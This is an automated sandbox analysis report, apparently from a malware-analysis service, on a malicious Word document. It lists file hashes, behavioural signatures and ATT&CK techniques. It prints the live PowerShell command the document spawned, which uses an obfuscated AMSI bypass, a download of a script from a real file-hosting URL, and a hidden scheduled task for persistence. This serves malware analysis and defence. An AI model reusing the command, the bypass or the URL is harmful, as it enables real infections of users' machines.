57fa6b0245f3a5009e57da1d0cac9466f07e61bf37db7d3c9f59eee2ce4db1e7

Analysis

max time kernel
148s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
10/04/2024, 11:05

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General

Target

57fa6b0245f3a5009e57da1d0cac9466f07e61bf37db7d3c9f59eee2ce4db1e7.doc
Size

385KB
MD5

18889d70d5546b861c6fa4ec11126942
SHA1

eef7ed8bd9bcee074e917cf295badf9ad5de936f
SHA256

57fa6b0245f3a5009e57da1d0cac9466f07e61bf37db7d3c9f59eee2ce4db1e7
SHA512

3c29433131e3a039eccbe459a56042e639c39700caaa2c8d7bffa7bb61021f14c8bf58ccbabb5a4a4a8fb056e5c086b13aaea7464d2c9cc6f1d74cada2cd2646
SSDEEP

6144:55fBfm2t8aGhy50K+gGm7R82m4FX36pr0Ko2:5Xm2tVGhy50O7K2D9Ku

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

https://www.4sync.com/web/directDownload/nJJrbwEJ/rHb0lMWD.782eb24360173e96058a01a45c67031e

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	1720	1800	powershell.exe	85

Blocklisted process makes network request 1 IoCs

flow	pid	Process
23	1720	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
5000	schtasks.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
3956	systeminfo.exe

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
1800	WINWORD.EXE
1800	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1720	powershell.exe
1720	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1720	powershell.exe

Suspicious use of SetWindowsHookEx 8 IoCs

pid	Process
1800	WINWORD.EXE
1800	WINWORD.EXE
1800	WINWORD.EXE
1800	WINWORD.EXE
1800	WINWORD.EXE
1800	WINWORD.EXE
1800	WINWORD.EXE
1800	WINWORD.EXE

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1800 wrote to memory of 1720	1800	WINWORD.EXE	90
PID 1800 wrote to memory of 1720	1800	WINWORD.EXE	90
PID 1720 wrote to memory of 3956	1720	powershell.exe	93
PID 1720 wrote to memory of 3956	1720	powershell.exe	93
PID 1720 wrote to memory of 5000	1720	powershell.exe	100
PID 1720 wrote to memory of 5000	1720	powershell.exe	100

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\57fa6b0245f3a5009e57da1d0cac9466f07e61bf37db7d3c9f59eee2ce4db1e7.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1800
- C:\Windows\system32\WindowsPowershell\v1.0\powershell.exe
  C:\Windows\system32\WindowsPowershell\v1.0\powershell.exe systeminfo; [Ref].Assembly.GetType('system.Management.Automation.'+$([Text.encoding]::Unicode.Getstring([Convert]::FromBase64string('QQBtAHMAaQBVAHQAaQBsAHMA')))).GetField($([Text.encoding]::Unicode.Getstring([Convert]::FromBase64string('YQBtAHMAaQBJAG4AaQB0AeYAYQBpAGwAZQBkAA=='))),'NonPublic,static').setValue($null,$true); (New-Object system.Net.WebClient).DownloadFile('https://www.4sync.com/web/directDownload/nJJrbwEJ/rHb0lMWD.782eb24360173e96058a01a45c67031e', 'C:\Users\Public\WindowsAuthKeys.ps1'); schtasks /create /tn MicrosoftEdgeTask /st 00:00 /du 9999:59 /sc once /ri 10 /f /tr 'powershell.exe -Windowstyle hidden -executionPolicy Bypass -File "C:\Users\Public\WindowsAuthKeys.ps1"'"
  2⤵
  - Process spawned unexpected child process
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1720
- - C:\Windows\system32\systeminfo.exe
    "C:\Windows\system32\systeminfo.exe"
    3⤵
    - Gathers system information
    PID:3956
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /tn MicrosoftEdgeTask /st 00:00 /du 9999:59 /sc once /ri 10 /f /tr "powershell.exe -Windowstyle hidden -executionPolicy Bypass -File C:\Users\Public\WindowsAuthKeys.ps1"
    3⤵
    - Creates scheduled task(s)
    PID:5000

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ijdodz0n.jkf.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1720-504-0x00007FFAB3AC0000-0x00007FFAB4581000-memory.dmp

Filesize
10.8MB

Download
memory/1720-500-0x000001AAAF430000-0x000001AAAF440000-memory.dmp

Filesize
64KB

Download
memory/1720-498-0x000001AAAF430000-0x000001AAAF440000-memory.dmp

Filesize
64KB

Download
memory/1720-497-0x00007FFAB3AC0000-0x00007FFAB4581000-memory.dmp

Filesize
10.8MB

Download
memory/1720-492-0x000001AAAF3D0000-0x000001AAAF3F2000-memory.dmp

Filesize
136KB

Download
memory/1800-9-0x00007FFAE2670000-0x00007FFAE2865000-memory.dmp

Filesize
2.0MB

Download
memory/1800-21-0x00007FFAE2670000-0x00007FFAE2865000-memory.dmp

Filesize
2.0MB

Download
memory/1800-6-0x00007FFAE2670000-0x00007FFAE2865000-memory.dmp

Filesize
2.0MB

Download
memory/1800-0-0x00007FFAA26F0000-0x00007FFAA2700000-memory.dmp

Filesize
64KB

Download
memory/1800-10-0x00007FFAE2670000-0x00007FFAE2865000-memory.dmp

Filesize
2.0MB

Download
memory/1800-12-0x00007FFAE2670000-0x00007FFAE2865000-memory.dmp

Filesize
2.0MB

Download
memory/1800-13-0x00007FFAE2670000-0x00007FFAE2865000-memory.dmp

Filesize
2.0MB

Download
memory/1800-11-0x00007FFAA0210000-0x00007FFAA0220000-memory.dmp

Filesize
64KB

Download
memory/1800-14-0x00007FFAE2670000-0x00007FFAE2865000-memory.dmp

Filesize
2.0MB

Download
memory/1800-15-0x00007FFAA0210000-0x00007FFAA0220000-memory.dmp

Filesize
64KB

Download
memory/1800-16-0x00007FFAE2670000-0x00007FFAE2865000-memory.dmp

Filesize
2.0MB

Download
memory/1800-17-0x00007FFAE2670000-0x00007FFAE2865000-memory.dmp

Filesize
2.0MB

Download
memory/1800-18-0x00007FFAE2670000-0x00007FFAE2865000-memory.dmp

Filesize
2.0MB

Download
memory/1800-20-0x00007FFAE2670000-0x00007FFAE2865000-memory.dmp

Filesize
2.0MB

Download
memory/1800-19-0x00007FFAE2670000-0x00007FFAE2865000-memory.dmp

Filesize
2.0MB

Download
memory/1800-8-0x00007FFAE2670000-0x00007FFAE2865000-memory.dmp

Filesize
2.0MB

Download
memory/1800-22-0x00007FFAE2670000-0x00007FFAE2865000-memory.dmp

Filesize
2.0MB

Download
memory/1800-23-0x00007FFAE2670000-0x00007FFAE2865000-memory.dmp

Filesize
2.0MB

Download
memory/1800-7-0x00007FFAA26F0000-0x00007FFAA2700000-memory.dmp

Filesize
64KB

Download
memory/1800-5-0x00007FFAA26F0000-0x00007FFAA2700000-memory.dmp

Filesize
64KB

Download
memory/1800-4-0x00007FFAE2670000-0x00007FFAE2865000-memory.dmp

Filesize
2.0MB

Download
memory/1800-3-0x00007FFAE2670000-0x00007FFAE2865000-memory.dmp

Filesize
2.0MB

Download
memory/1800-2-0x00007FFAA26F0000-0x00007FFAA2700000-memory.dmp

Filesize
64KB

Download
memory/1800-1-0x00007FFAA26F0000-0x00007FFAA2700000-memory.dmp

Filesize
64KB

Download
memory/1800-510-0x00007FFAE2670000-0x00007FFAE2865000-memory.dmp

Filesize
2.0MB

Download
memory/1800-511-0x00007FFAE2670000-0x00007FFAE2865000-memory.dmp

Filesize
2.0MB

Download
memory/1800-512-0x00007FFAE2670000-0x00007FFAE2865000-memory.dmp

Filesize
2.0MB

Download
memory/1800-531-0x00007FFAA26F0000-0x00007FFAA2700000-memory.dmp

Filesize
64KB

Download
memory/1800-532-0x00007FFAA26F0000-0x00007FFAA2700000-memory.dmp

Filesize
64KB

Download
memory/1800-533-0x00007FFAA26F0000-0x00007FFAA2700000-memory.dmp

Filesize
64KB

Download
memory/1800-534-0x00007FFAA26F0000-0x00007FFAA2700000-memory.dmp

Filesize
64KB

Download
memory/1800-535-0x00007FFAE2670000-0x00007FFAE2865000-memory.dmp

Filesize
2.0MB

Download